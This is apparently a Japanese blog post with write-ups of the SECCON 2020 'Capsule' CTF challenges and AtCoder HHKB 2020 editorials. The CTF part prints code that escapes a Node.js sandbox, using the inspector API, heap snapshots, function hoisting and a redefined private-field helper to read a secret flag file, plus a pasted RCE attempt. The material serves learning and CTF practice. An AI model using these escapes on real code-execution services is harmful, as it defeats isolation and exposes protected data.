Capsule [SECCON 2020 Online CTF]

Capsule
Genre: Web+Misc
https://capsule.chal.seccon.jp/
capsule.tar.gz

調査

ソースコードのdiffを取ってみると、実行環境側でTypeScriptが廃止されている。
jsコードでもprivate使えるのね…
こっちも何とか取ってこれないか？

class Flag {
  #flag;
  constructor(flag) {
    this.#flag = flag;
  }
}

一応console.log(flag.#flag);を試しておく。
SyntaxError: Private field '#flag' must be declared in an enclosing class
調べてくと、こういう記載もあるけれど…
tc39/proposal-class-fields: Orthogonally-informed combination of public and private fields proposals
console.log(flag['#flag']);もダメ

んー、分からん！

Writeups

• SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD
• beginners-capsule.js
• SECCON 2020 - Web

作者の解説をもとに復習した。

V8のInspector API経由で盗み見る

Node.jsのInspectorAPIを使えば、privateでも引っ張ってこれる。
InspectorはNode.jsのbuild-inライブラリらしい。
Inspector | Node.js v14.13.1 Documentation
こことかを見ると、デバッグ用でヒープとかも見れるので、確かにprivateプロパティも見れちゃいそうな気もする。

SECCON 2020 Online CTF - Capsule & Beginner’s Capsule - Author’s Writeup - HackMD
本家

global.flag = flag;
const inspector = require('inspector');
const session = new inspector.Session(); # inspectorはセッションを作る必要がある
session.connect();
session.post('Runtime.evaluate', {expression: 'flag'}, (e, d) => {
  session.post('Runtime.getProperties', {objectId: d.result.objectId}, (e, d) => {
    console.log(d.privateProperties[0].value.value);
  });
});

Runtime.evaluate？
https://chromedevtools.github.io/devtools-protocol/v8/Runtime/#method-evaluate
ほうほう。node.jsというより背後のV8エンジンに対してという雰囲気っぽい。
このドキュメントはChromeDevToolsProtocolではあるが、それ経由でV8エンジンを呼ぶときのドキュメントだと思う。
V8エンジンはよくわからんけど、共通基盤ってイメージだったら、V8のリファレンスもそりゃあるか。

このコードの意味は上記のドキュメントと突き合わせば何となく分かるけど、ゼロから作るのはきついな…
Discussion: private fields and util.inspect · Issue #27404 · nodejs/node
紹介されているここを参考にすればいけるか。
グローバル空間は共有するようでglobal.flag = flag;と一旦グローバルに置いてから、'flag'をevalする必要がある。
ふむふむ。

Hoistingを利用する

他の人の解法でも見かけたやり方。

const fs = require('fs');
...
function require() {
  const fs = process.mainModule.require('fs');
  console.log(fs.readFileSync('flag.txt').toString());
}

こんな風にやると、js特有のHoistingでrequire('fs')実行時に指定の関数が呼ばれて、exploitできる。
話は聞いていたけど、定義済みの関数でも書き換えが起こるの？
そんなのhackし放題では？

function f() { console.log('pre'); }
f();
function f() { console.log('post'); }

を実行してみると

$ node sample.js
post

マジ？確かに先頭で取得できれば、まだ制限もないし、消されてもないから参照できるわけね…

メモリをぶっこ抜く

V8 | Node.js v14.13.1 Documentation
V8ライブラリというのもあり、中身を見てみるとヒープが参照できることが分かる。

const v8 = require('v8');
const memory = v8.getHeapSnapshot().read();
console.log(memory.toString());

これだけで全部出る。
だが、これをやると5sでタイムアウトするので、紹介されている解法ではsliceを上手く使って、フラグ部分だけを抜き出して見せている。

実際にどんな中身なのか見てみたいので先頭1000文字くらいを出してみる。

{"snapshot":{"meta":{"node_fields":["type","name","id","self_size","edge_count","trace_node_id"],"node_types":[["hidden","array","string","object","code","closure","regexp","number","native","synthetic","concatenated string","sliced string","symbol","bigint"],"string","number","number","number","number","number"],"edge_fields":["type","name_or_index","to_node"],"edge_types":[["context","element","property","internal","hidden","shortcut","weak"],"string_or_number","node"],"trace_function_info_fields":["function_id","name","script_name","script_id","line","column"],"trace_node_fields":["id","function_info_index","count","size","children"],"sample_fields":["timestamp_us","last_assigned_id"],"location_fields":["object_index","script_id","line","column"]},"node_count":29431,"edge_count":122322,"trace_function_count":0},
"nodes":[9,1,1,0,12,0
,9,2,3,0,23,0
,9,3,5,0,1,0
,9,4,7,0,78,0
,9,5,9,0,555,0
,9,6,11,0,75,0
,9,7,13,0,0,0
,9,8,15,0,0,0
,9,9,17,0,151,0
,9,10,19,0,5,0
,9,11,21,0,0,0
,9,12,

あれ？なんか想像と違う。
まあ、細かいことはいいか。

Beginner's Capsule [SECCON 2020 Online CTF]

Beginner's Capsule
warmup
Genre: Web+Misc
https://beginners-capsule.chal.seccon.jp/
beginners_capsule.tar.gz

調査

ソースコードを見る前にBurp SuiteとChromeデベロッパーツールを立ち上げて、挙動確認してみる。
試しにconsole.log(flag.#flag);としてみる。

error TS18013: Property '#flag' is not accessible outside class 'Flag' because it has a private identifier.

TypeScript3.8の新機能でハードプライベートというらしい。
ブラウザ毎に対応状況に差があるらしいが、TSはサーバ側だから特に関係ないだろう。

console.log(fs.readFileSync('flag.txt').toString());
一応やってみたけどfs.unlinkSync('flag.txt');があるので、なにも出てこない。
後々、それだけが原因でないことは分かる。

コードを実行させるときは以下のjsを使っている。
POSTでコードとCSRFトークンを渡して実行している。

const res = await fetch('/', {
  method: 'post',
  body: `code=${encodeURIComponent(code)}&token=${encodeURIComponent(token)}`,
}

ソースコードみてみる

runner.ts

const LIB = `
module.exports.enableSeccompFilter = () => {
  const {
    SCMP_ACT_ALLOW,
    SCMP_ACT_ERRNO,
    NodeSeccomp,
    errors: {EACCESS},
  } = require('node-seccomp');

  const seccomp = NodeSeccomp();

  seccomp
    .init(SCMP_ACT_ALLOW)
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'open')
    .ruleAdd(SCMP_ACT_ERRNO(EACCESS), 'openat')
    .load();

  delete require.cache[require.resolve('node-seccomp')];
};
`;

とある。与えられたコードの実行前に呼ばれている関数の中身であるが、openとかのカーネルコールが抑止されている。
console.log(fs.readFileSync('lib.js').toString());の応答がないのはそのせいか。

import * as cp from 'child-process';cp.exec(ls, (err, stdout, stderr) => { if (err) { console.log(err); } else { console.log(stdout); }});
適当に拾ってきたRCEコードを投げてみる。
index.ts(18,21): error TS2307: Cannot find module 'child-process' or its corresponding type declarations.
ないかー

fs.readdir('./', function (err, files) { if (err) { console.log('error'); } for (var file in files) { console.log(file); } });
これもerrorになる…ぐぬぬ

メタ読み

次回作のCapsuleでは脱tsをしている。
きっと、tsからjsへトランスパイルするときになんか脆弱な部分が出てくるんだろう。
tsconfig.jsonを詳しく読んでみる

{
  "compilerOptions": {
    "target": "ES2015", // ECMAScript Private Fieldsは使える版数
    "allowJs": true,    // jsファイルを許容するか（これは大丈夫そう）
    "esModuleInterop": true,  // あんましピンと来ないが、exportとかrequireとか統一されてないいつものアレを何とかしてくれる。requireを使わなくてもimportでやれる感じ？
    "skipLibCheck": true  // *.d.tsのチェックをスキップする。これも大丈夫そう…
  }
}

なんもないじゃん…

トランスパイル後を見てみる

TypeScript: TS Playground - An online editor for exploring TypeScript and JavaScript
ここを使ってトランスパイル後を見てみよう。

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
}

var flag = new Flag('ab');

これが、こうなる。

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
}
_flag = new WeakMap();
var flag = new Flag('ab');

何となく_flagを上手く参照できれば、取れそうな雰囲気がある。
試しにアクセサを作ってみる。

class Flag {
  #flag: string;
  constructor(flag: string) {
    this.#flag = flag;
  }
  getFlag() {
    return this.#flag;
  }
}

var flag = new Flag('ab');

これがjsでは

"use strict";
var __classPrivateFieldSet = (this && this.__classPrivateFieldSet) || function (receiver, privateMap, value) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to set private field on non-instance");
    }
    privateMap.set(receiver, value);
    return value;
};
var __classPrivateFieldGet = (this && this.__classPrivateFieldGet) || function (receiver, privateMap) {
    if (!privateMap.has(receiver)) {
        throw new TypeError("attempted to get private field on non-instance");
    }
    return privateMap.get(receiver);
};
var _flag;
class Flag {
    constructor(flag) {
        _flag.set(this, void 0);
        __classPrivateFieldSet(this, _flag, flag);
    }
    getFlag() {
        return __classPrivateFieldGet(this, _flag);
    }
}
_flag = new WeakMap();
var flag = new Flag('ab');

ほうほう。そういう関数が作られるのね。上の関数を参考にして、Get関数を定義して、読んでみると中身が抜き取れる。

var __classPrivateFieldGet = function (receiver, privateMap) {
    return privateMap.get(receiver);
};
console.log(eval('__classPrivateFieldGet(flag, _flag)'));

SECCON{Player_WorldOfFantasy_StereoWorXxX_CapsLock_WaveRunner}

Lamps [HHKB プログラミングコンテスト 2020 E]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_e

前提知識

• 主客転倒
• 二次元累積和
• 二分探索

解説

https://atcoder.jp/contests/hhkb2020/submissions/17319314

初めて見る人には何から手を付けるべきか分からない問題であるように思う。
2^K通りをすべて考えるのは不可能問題。
こういう時はどういうテクを使えばいいだろうか。

主客転倒

「2^K通りすべてについて、照らされているマスの総和を計算して、その総和を答える」という問題であるが、
主客転倒テクを使う。
「K通りのマスについて、そのマスが照らされる組み合わせを計算して、その総和を答える」と変換する。
主客転倒テクをやったことがない人はなんのことだかという感じであると思うが、知っていればそれほど難しくない。
分からない場合は、以下を読んで学ぼう。
あの〜、お詫びと言っては何ですけどちょっと数え上げでよく見るらしい「主客転倒」の解説今から書くんで… - physics0523's 精進ログ

これで全通りする部分が現実的な個数となった。

あるマスが照らされる組み合わせ

とあるマスが照らされる組み合わせを計算するにはどうすればいいだろう。
そのマスが照らされるには、そのマスから上下左右にある散らかっていないマスのいずれかに照明が置かれていればいい。
いずれかというのは少し計算が面倒なので、補事象を使おう。
全体から「そのマスから上下左右にある散らかっていないマスのいずれにも照明が置かれていない」を引いて計算することにする。
全体は2^K通り。
「そのマスから上下左右にある散らかっていないマスのいずれにも照明が置かれていない」組合せは、
上下左右にある散らかっていないマスの個数をcnt個とすると、2^K-cnt通りである。
これはcnt個の部分は照明が置かれていなくて、他は何でもいいからである。
よって、あとは「上下左右にある散らかっていないマスの個数」が分かれば答えが導ける。

上下左右にある散らかっていないマスの個数

これは二次元累積和と二分探索を使って計算できる。
二次元累積和を使ってある区間に含まれる散らかっていないマスの個数を高速に持ってこれるようにしておこう。
あとは、上下左右について二分探索を使って、選択している区間=散らかっていないマスの個数となるように伸ばせる区間の最大長を特定すれば、
上下左右にあるマスの個数が分かり、上下左右にある散らかっていないマスの個数を計算することができる。
この部分はより筋の良い方法がたぶんある。

int H, W;
string S[2020];
mint pr[4101101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    pr[0] = 1;
    rep(i, 1, 4101101) pr[i] = pr[i - 1] * 2;

    Ruisekiwa2D emp(W, H);
    int K = 0;
    rep(y, 0, H) rep(x, 0, W) if (S[y][x] == '.') emp.add(x, y, 1), K++;
    emp.build();

    mint ans = 0;
    rep(y, 0, H) rep(x, 0, W) if(S[y][x] == '.') {
        int cnt = 1;
        rep(d, 0, 4) {
            int ok = 1, ng = 2020;
            while (ok + 1 != ng) {
                int md = (ok + ng) / 2;
                if (emp.getTo(x, y, md, d) == md) ok = md;
                else ng = md;
            }
            cnt += ok - 1;
        }
        ans += pr[K] - pr[K - cnt];
    }
    cout << ans << endl;
}

Squares [HHKB プログラミングコンテスト 2020 D]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_d

解説

https://atcoder.jp/contests/hhkb2020/submissions/17318367

色々な考察が必要で、方針もたくさん見えるような問題。

引くべき方針1「余事象」

今回は余事象を考えるとすっきりする。
つまり、赤い正方形と青い正方形が重なる方法の数を数えて全体から引くことで答えを導こう。

まず、全体の方法の数を考える。
青い正方形を置ける場所は、正方形の左下をどの座標に置くかで(N - A + 1)²通りとなる。
同様に、赤い正方形を置ける場所は、正方形の左下をどの座標に置くかで(N - B + 1)²通りとなる。
よって、全体の方法の数は(N - A + 1)² × (N - B + 1)²通りである。

余事象部分をいかに計算するか

2つの正方形がかぶっている方法の数をいかに計算するかであるが、実験してみると、とても計算が大変そうに見える。
そこで、問題が簡単化できないかと画策する。
AとBの大小関係が気になるが、特にAとBが入れ替わっても場合の数的には問題がないので、A≦Bと固定して考えることにする。
さて、ここからが本番であるが、以下の性質を見つけてくる必要がある。

引くべき方針2「縦横独立に考える」

(2つの正方形がかぶっている方法の数) = (数直線[0,N]の範囲に長さAの棒と長さBの棒をかぶって配置する方法の数)²

つまりは、何が言いたいかというと、2つの正方形がかぶっている方法の数は、縦と横で独立に考えることができるということ。
2つの正方形がかぶっている状況をよくよく見てみると、x軸でも線分がかぶっていて、y軸でも線分がかぶっている。
更によくよく見てみると、x軸でも線分がかぶっていて、かつ、y軸でも線分がかぶっているなら、2つの正方形はかぶっているといえる。
つまり、

(x軸で線分がかぶっている方法の数)×(y軸で線分がかぶっている方法の数)=(2つの正方形がかぶっている方法の数)

となる。ここで、x軸とy軸はどちらも正方形で同じ長さ、同じ状況なので、同じ数となるので、最終的に2乗になって

(2つの正方形がかぶっている方法の数) = (数直線[0,N]の範囲に長さAの棒と長さBの棒をかぶって配置する方法の数)²

となる。

最も小さい問題

これで問題を最小化できた。
「数直線[0,N]の範囲に長さAの棒と長さBの棒をかぶって配置する方法の数」が分かれば答えになる。
これを解くのも厄介だが、場合分けして解くことにしよう。

1. Bの中にAが完全に包含されている
2. Bの末尾とAの先頭がかぶっている
3. Aの末尾とBの先頭がかぶっている

このうち、2と3は、左右をひっくり返せば同じ状況になるので、同じ組み合わせとなる。
よって、1と2が分かればいい。

1. Bの中にAが完全に包含されている inner

これは、Bの場所の組み合わせと、その中でAがどこにあるかの組み合わせの掛け合わせである。
この2つは独立である。
Bの場所の組み合わせはN-B+1
その中でAがどこにあるかの組み合わせはB-A+1
その2つの積が組合せとあんる。

2. Bの末尾とAの先頭がかぶっている outer

Bの線分を一番右に配置すると、Aが置ける場所は0通り
1つ左に動かすと、Aが置ける場所は1通り
…
A-2つ左に動かすと、Aが置ける場所はA-2通り
A-1つ左に動かすと、Aが置ける場所はA-1通り
Aつ左に動かすと、Aが置ける場所はA-1通り
…

とこのようになる。
なので、1+2+...+(A-2)+(A-1)+...+(A-1)となる。
前半の1+2+...+(A-2)は等差数列の和で計算すればいいし、
(A-1)+...+(A-1)は(N-A-B+2)個分あるので、積をとればいい。

これで2も計算できた。

最終的には？

(N - A + 1)² × (N - B + 1)² - (inner+outer×2)²

が答え。

ll N, A, B;
//---------------------------------------------------------------------------------------------------
int solve() {
    cin >> N >> A >> B;
    if (A > B) swap(A, B);

    if (N < A + B) return 0;

    mint allCombination = mint(N - A + 1) * mint(N - A + 1) * mint(N - B + 1) * mint(N - B + 1);
    mint inner = mint(N - B + 1) * mint(B - A + 1);
    mint outer = (mint(0) + mint(A - 2)) * mint(A - 2 + 1) / 2 + mint(A - 1) * mint(N - A - B + 2);
    mint ans = allCombination - (inner + outer * 2) * (inner + outer * 2);
    return ans.get();
}
//---------------------------------------------------------------------------------------------------
void _main() {
    int T; cin >> T;
    rep(t, 0, T) printf("%d\n", solve());
}

Neq Min [HHKB プログラミングコンテスト 2020 C]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_c

解説

https://atcoder.jp/contests/hhkb2020/submissions/17316773

こういったクエリ問題では、1クエリだけの場合ではどのように答えるかを考える。

i=Nの場合は？

いずれとも等しくない値で、かつ、最小値を求める一番愚直な方法として、
0から数列に含まれるかをチェックしていって、最初に含まれない数を答えるという方針がある。
この場合は、数列に含まれるかを高速に判定するためにsetを使用することができる。
数列に含まれる数字をすべてsetに追加し、0から順にsetに含まれているかを判定して、含まれていない数を答えるようにする。
これで計算量はO((pの最大値)logN)となる。

クエリにどう対応していくか

実はこの方針をいじることで答えにたどり着くことができる。
気づくべき性質が、各クエリの答えは広義単調増加するということである。
これはi=xの答え未満の数はi=x+1でも必ず存在していることに起因している。
よって、クエリ毎に0から順番に探索していく必要はなく、
i=x+1のクエリを処理するときは、i=xの時の答えから探索を始めることができる。
このような探索方針は尺取り法とかなり似ていて、本質的にはそれほど変わらない。

答えの方針

各クエリにおいて、setに数字を入れてから、前回の答えから探索を始める。
setに数が含まれないならその数を答えて次のクエリを処理し、そうでないなら、答えをインクリメントしていく。
計算量はO(((pの最大値)+N)logN)

int N, p[201010];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> N;
    rep(i, 0, N) cin >> p[i];

    int ans = 0;
    set<int> ps;
    rep(i, 0, N) {
        ps.insert(p[i]);
        while (ps.count(ans)) ans++;
        printf("%d\n", ans);
    }
}

Futon [HHKB プログラミングコンテスト 2020 B]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_b

解説

https://atcoder.jp/contests/hhkb2020/submissions/17315225

布団を敷く可能性がある場所をすべて全探索することで答える。

横置きの場合

横置きする場合の布団を置く可能性がある場所は、横置きの左の座標でカウントすると考えると、H×(W-1)通りになる。
これは10⁴通りくらいなので、全列挙は問題ない。
後は、左の座標と右の座標がどちらも散らかっていないなら、置けるとしてカウントする。

縦置きの場合

これも同様である。
縦置きする場合の布団を置く可能性がある場所は、縦置きの上の座標でカウントすると考えると、W×(H-1)通りになる。
これは10⁴通りくらいなので、全列挙は問題ない。
後は、上の座標と下の座標がどちらも散らかっていないなら、置けるとしてカウントする。

int H, W;
string S[101];
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> H >> W;
    rep(y, 0, H) cin >> S[y];

    int ans = 0;
    // 横置き
    rep(y, 0, H) rep(x, 0, W - 1) if (S[y][x] == '.' && S[y][x + 1] == '.') ans++;
    // 縦置き
    rep(y, 0, H - 1) rep(x, 0, W) if (S[y][x] == '.' && S[y + 1][x] == '.') ans++;
    cout << ans << endl;
}

Keyboard [HHKB プログラミングコンテスト 2020 A]

https://atcoder.jp/contests/hhkb2020/tasks/hhkb2020_a

解説

https://atcoder.jp/contests/hhkb2020/submissions/17314776

SがYであれば、Tに対して、大文字にする操作をするように実装する。
大文字にする操作は標準関数を使うか、場合分けして答えるのがオススメ。

小文字を大文字にするときにAsciiコードを意識した数値計算で実現することもできる。
例えば、AsciiでAは65で、aは97である。この差分は各アルファベットについて等しいので、
小文字を大文字にするには、この差分だけ引けばいい。
なので、大文字にする場合は、Tの最初の文字に対して、'a'-'A'を引けば大文字化できる。

string S, T;
//---------------------------------------------------------------------------------------------------
void _main() {
    cin >> S >> T;
    if (S[0] == 'Y') T[0] -= 'a' - 'A';
    cout << T << endl;
}